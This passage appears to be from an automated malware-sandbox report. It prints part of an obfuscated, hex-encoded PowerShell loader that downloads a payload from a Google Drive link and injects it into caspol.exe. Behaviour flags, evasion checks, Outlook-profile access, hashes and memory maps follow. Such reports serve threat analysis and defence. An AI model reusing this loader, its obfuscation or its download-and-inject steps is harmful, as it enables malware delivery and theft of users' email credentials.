'C2B59284838089948B83D4D5D7C6DBC6BDA79696A2898B878F88BBDCDCA5939494838892A2898B878F88C8A283808F8883A29F88878B8F85A79595838B848A9FCECEA88391CBA9848C838592C6B59F9592838BC8B483808A8385928F8988C8A79595838B848A9FA8878B83CEC2B5898A8F959283DECFCFCAC6BDB59F9592838BC8B483808A8385928F8988C8A38B8F92C8A79595838B848A9FA4938F8A828394A78585839595BBDCDCB49388CFC8A283808F8883A29F88878B8F85AB8982938A83CEC2B5898A8F959283DFCAC6C280878A9583CFC8A283808F8883B29F9683CEC2A996958D9F8AD6CAC6C2A996958D9F8AD7CAC6BDB59F9592838BC8AB938A928F85879592A2838A8381879283BBCF';.($Opskyl7) $Streng2;$Streng3 = Quokkas11 'C2B59284838089948B83D4D5D7C8A283808F8883A589889592949385928994CEC2B5898A8F959283D0CAC6BDB59F9592838BC8B483808A8385928F8988C8A5878A8A8F8881A58988908388928F898895BBDCDCB592878882879482CAC6C2AD8887958382CFC8B58392AF8B968A838B83889287928F8988A08A878195CEC2B5898A8F959283D1CF';.($Opskyl7) $Streng3;$Streng4 = Quokkas11 'C2B59284838089948B83D4D5D7C8A283808F8883AB83928E8982CEC2A996958D9F8AD4CAC6C2A996958D9F8AD5CAC6C2AB8F8594898DCAC6C2AD8887958382CFC8B58392AF8B968A838B83889287928F8988A08A878195CEC2B5898A8F959283D1CF';.($Opskyl7) $Streng4;$Streng5 = Quokkas11 '948392939488C6C2B59284838089948B83D4D5D7C8A59483879283B29F9683CECF';.($Opskyl7) $Streng5 ;}$Alde36 = Quokkas11 '8D839488838AD5D4';$Quokkas03 = Quokkas11 'A18392A5898895898A83B18F88828991';$Quokkas00=Quokkas11 'B58E8991B18F88828991';$Quokkas01 = Quokkas11 'C2A4938B9593858DD5D7C6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A08994959293908382C6C2B793898D8D8795D6D6CFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCAC6BDB3AF8892D5D4BBCFC6CEBDAF8892B69294BBCFCFCF';.($Opskyl7) $Quokkas01;$Quokkas02 = Quokkas11 'C2B083888AD7DFD1C6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A78A8283D5D0C6C2B793898D8D8795D6D5CFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCFC6CEBDAF8892B69294BBCFCFCF';.($Opskyl7) $Quokkas02;$Streng7 = Quokkas11 'C2B38887848795838296C6DBC6C2B083888AD7DFD1C8AF8890898D83CED6CF';.($Opskyl7) $Streng7;$Streng7 = Quokkas11 'C2A4938B9593858DD5D7C8AF8890898D83CEC2B38887848795838296CAC6D6CF';.($Opskyl7) $Streng7;$Streng6 = Quokkas11 'C2A493838AC6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A78A8283D5D0C6C2A996958D9F8AD2CFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCAC6BDB3AF8892D5D4BBCAC6BDB3AF8892D5D4BBCAC6BDB3AF8892D5D4BBCFC6CEBDAF8892B69294BBCFCFCF';.($Opskyl7) $Streng6;$Outbl = fkp $Opskyl5 $Opskyl6;$Streng7 = Quokkas11 'C2A2838B8F8B8988D5C6DBC6C2A493838AC8AF8890898D83CEBDAF8892B69294BBDCDCBC839489CAC6D0D3D0CAC6D69ED5D6D6D6CAC6D69ED2D6CF';.($Opskyl7) $Streng7;$Streng8 = Quokkas11 'C2B483878A8F95928FD7DEDFC6DBC6C2A493838AC8AF8890898D83CEBDAF8892B69294BBDCDCBC839489CAC6DFD2DFD1D5DFD3D4CAC6D69ED5D6D6D6CAC6D69ED2CF';.($Opskyl7) $Streng8;$Quokkas01 = 'https://drive.google.com/uc?export=download&id=1B3MRGXuZWdG46eXHp6A71YeYmlVrmaBx';$Quokkas00 = Quokkas11 'C2A58E8F8D8788839488DEC6DBC6CEA88391CBA9848C838592C6A88392C8B18384A58A8F838892CFC8A28991888A898782B592948F8881CEC2B793898D8D8795D6D7CF';$Streng8 = Quokkas11 'C2A2838B8F8B8988D4DBC2838890DC87969682879287';.($Opskyl7) $Streng8;$Demimon2=$Demimon2+'\Tusneldas.dat';$Chikanern8='';if (-not(Test-Path $Demimon2)) {while ($Chikanern8 -eq '') {.($Opskyl7) $Quokkas00;Start-Sleep 5;}Set-Content $Demimon2 $Chikanern8;}$Chikanern8 = Get-Content $Demimon2;$Streng9 = Quokkas11 'C2B59294838881C6DBC6BDB59F9592838BC8A5898890839492BBDCDCA094898BA4879583D0D2B592948F8881CEC2A58E8F8D8788839488DECF';.($Opskyl7) $Streng9;$Chikanern80 = Quokkas11 'BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA589969FCEC2B59294838881CAC6D6CAC6C6C2A2838B8F8B8988D5CAC6D0D3D0CF';.($Opskyl7) $Chikanern80;$Maskinfejl103=$Streng.count-656;$Chikanern81 = Quokkas11 'BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA589969FCEC2B59294838881CAC6D0D3D0CAC6C2B483878A8F95928FD7DEDFCAC6C2AB87958D8F8880838C8AD7D6D5CF';.($Opskyl7) $Chikanern81;$Chikanern82 = Quokkas11 'C2B592898981838F8892C6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A08994959293908382C6C2A38482898BCFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCAC6BDAF8892B69294BBCAC6BDAF8892B69294BBCAC6BDAF8892B69294BBCAC6BDAF8892B69294BBCFC6CEBDAF8892B69294BBCFCFCF';.($Opskyl7) $Chikanern82;$Chikanern83 = Quokkas11 'C2B592898981838F8892C8AF8890898D83CEC2A2838B8F8B8988D5CAC2B483878A8F95928FD7DEDFCAC2A99392848ACAD6CAD6CF';.($Opskyl7) $Chikanern83#"3⤵
- Blocklisted process makes network request
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"4⤵
- Checks QEMU agent file
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1904
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
61KB
MD5fc4666cbca561e864e7fdf883a9e6661
SHA12f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5
SHA25610f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b
SHA512c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
342B
MD520b416e8be0112d45358449523c1d4d7
SHA1ee386975a6a2f14f9bef34021dace6e56e48a0f9
SHA256b72ab2a17298945e521471f80a62b44bebc050c8e27ae0de71c6d4f0b8fe0810
SHA512e2dc88b8c80460976902aba93dc0fe141181a93ea16ff4cdcbf6c5d574996499c971b492e8dc658003a16d2bd45fa7293388b4f5eb13a67626e61b60cf442e03
-
memory/468-54-0x0000000000000000-mapping.dmp
-
memory/588-55-0x0000000000000000-mapping.dmp
-
memory/1364-56-0x000007FEFC251000-0x000007FEFC253000-memory.dmpFilesize
8KB
-
memory/1816-67-0x000000000287B000-0x000000000289A000-memory.dmpFilesize
124KB
-
memory/1816-94-0x000000000287B000-0x000000000289A000-memory.dmpFilesize
124KB
-
memory/1816-62-0x000000000287B000-0x000000000289A000-memory.dmpFilesize
124KB
-
memory/1816-57-0x0000000000000000-mapping.dmp
-
memory/1816-60-0x000007FEF31F0000-0x000007FEF3D4D000-memory.dmpFilesize
11.4MB
-
memory/1816-61-0x0000000002874000-0x0000000002877000-memory.dmpFilesize
12KB
-
memory/1816-66-0x0000000002874000-0x0000000002877000-memory.dmpFilesize
12KB
-
memory/1816-59-0x000007FEF3D50000-0x000007FEF4773000-memory.dmpFilesize
10.1MB
-
memory/1904-96-0x0000000077BB0000-0x0000000077D30000-memory.dmpFilesize
1.5MB
-
memory/1904-95-0x00000000779D0000-0x0000000077B79000-memory.dmpFilesize
1.7MB
-
memory/1904-90-0x0000000000400000-0x0000000000430000-memory.dmpFilesize
192KB
-
memory/1904-88-0x0000000000401000-0x0000000000615000-memory.dmpFilesize
2.1MB
-
memory/1904-74-0x000000000012768E-mapping.dmp
-
memory/1904-87-0x0000000000400000-0x0000000000615000-memory.dmpFilesize
2.1MB
-
memory/1904-76-0x0000000000620000-0x00000000060B3000-memory.dmpFilesize
90.6MB
-
memory/1904-77-0x00000000779D0000-0x0000000077B79000-memory.dmpFilesize
1.7MB
-
memory/1904-81-0x0000000077BB0000-0x0000000077D30000-memory.dmpFilesize
1.5MB
-
memory/1904-82-0x0000000077BB0000-0x0000000077D30000-memory.dmpFilesize
1.5MB
-
memory/1904-86-0x0000000000620000-0x00000000060B3000-memory.dmpFilesize
90.6MB
-
memory/1904-97-0x0000000077BB0000-0x0000000077D30000-memory.dmpFilesize
1.5MB
-
memory/1992-64-0x0000000076581000-0x0000000076583000-memory.dmpFilesize
8KB
-
memory/1992-83-0x0000000077BB0000-0x0000000077D30000-memory.dmpFilesize
1.5MB
-
memory/1992-75-0x0000000077BB0000-0x0000000077D30000-memory.dmpFilesize
1.5MB
-
memory/1992-73-0x0000000077BB0000-0x0000000077D30000-memory.dmpFilesize
1.5MB
-
memory/1992-72-0x00000000779D0000-0x0000000077B79000-memory.dmpFilesize
1.7MB
-
memory/1992-91-0x0000000073870000-0x0000000073E1B000-memory.dmpFilesize
5.7MB
-
memory/1992-92-0x0000000077BB0000-0x0000000077D30000-memory.dmpFilesize
1.5MB
-
memory/1992-93-0x0000000005B00000-0x000000000B593000-memory.dmpFilesize
90.6MB
-
memory/1992-69-0x0000000005B00000-0x000000000B593000-memory.dmpFilesize
90.6MB
-
memory/1992-68-0x0000000073870000-0x0000000073E1B000-memory.dmpFilesize
5.7MB
-
memory/1992-65-0x0000000073870000-0x0000000073E1B000-memory.dmpFilesize
5.7MB
-
memory/1992-63-0x0000000000000000-mapping.dmp